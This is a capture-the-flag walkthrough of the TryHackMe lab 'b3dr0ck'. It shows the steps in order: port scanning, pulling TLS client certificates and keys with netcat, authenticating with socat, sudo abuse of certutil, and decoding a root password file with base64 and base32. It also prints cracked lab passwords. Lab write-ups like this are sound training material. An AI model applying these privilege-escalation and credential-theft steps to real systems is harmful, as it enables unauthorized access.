THM: b3dr0ck
Linux box with custom TLS services. Retrieved client certificates from credential distribution service, authenticated as multiple users through TLS client auth, and escalated via sudo abuse of certutil and base encoding tools.
Initial Enumeration
Nmap Scan
1
sudo nmap -T4 -sS -sV -p- TARGET_IP -vvv
Results:
1
2
3
4
5
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open http nginx 1.18.0 (Ubuntu)
9009/tcp open pichat?
54321/tcp open ssl/unknown
Key Findings:
- Port 9009: Custom service for retrieving TLS credentials
- Port 54321: TLS-enabled authentication service
TLS Credential Retrieval
Connecting to Port 9009
1
nc -nv TARGET_IP 9009
Service offers client certificate and private key retrieval.
Downloading Credentials
1
2
nc -nv TARGET_IP 9009
> client certificate
Save to client.cert.rsa
1
2
nc -nv TARGET_IP 9009
> private key
Save to private.key.rsa
TLS Authentication - Barney
1
socat stdio ssl:TARGET_IP:54321,cert=client.cert.rsa,key=private.key.rsa,verify=0
Result: Authenticated as Barney Rubble
Password hint: d1ad7c0a3805955a35eb260dab4180dd (MD5)
Cracked via CrackStation.
SSH Access - Barney
1
ssh barney@TARGET_IP
Successfully logged in.
Privilege Escalation
1
sudo -l
Output: Can run /usr/bin/certutil as root
1
2
sudo /usr/bin/certutil ls
sudo /usr/bin/certutil cat fred
Extracted Fred’s TLS certificate and key.
TLS Authentication - Fred
1
socat stdio ssl:TARGET_IP:54321,cert=fred.cert,key=fred.key,verify=0
Fred’s password revealed: YabbaDabbaDO000!
SSH Access - Fred
1
ssh fred@TARGET_IP
Flag obtained from /home/fred/fred.txt
Root Escalation
1
sudo -l
Output: Can run base32/base64 on /root/pass.txt
1
sudo /usr/bin/base64 /root/pass.txt | base64 -d | base32 -d | base64 -d
Output: a00a12aad6b7c16bf07032bd05a31d56
Cracked via CrackStation: flintstonesvitamins
Root Access
1
su root
Password: flintstonesvitamins
Root achieved!
Notable Commands
| Command | Description |
|---|---|
nc -nv IP PORT | Connect to TCP service |
socat stdio ssl:IP:PORT,cert=,key=,verify=0 | TLS client cert auth |
certutil ls | List certificates |
base64 -d | Decode base64 |
base32 -d | Decode base32 |
Key Takeaways
- Custom TLS services require certificate-based authentication
- Sudo abuse with certutil exposes other users’ credentials
- Multi-stage encoding (base64/base32) obfuscates but doesn’t protect passwords
- MD5 hashes crack instantly with rainbow tables
| Room: b3dr0ck | Platform: TryHackMe | Difficulty: Medium | Attack Path: TLS Certs → Sudo Abuse → Multi-stage Decoding |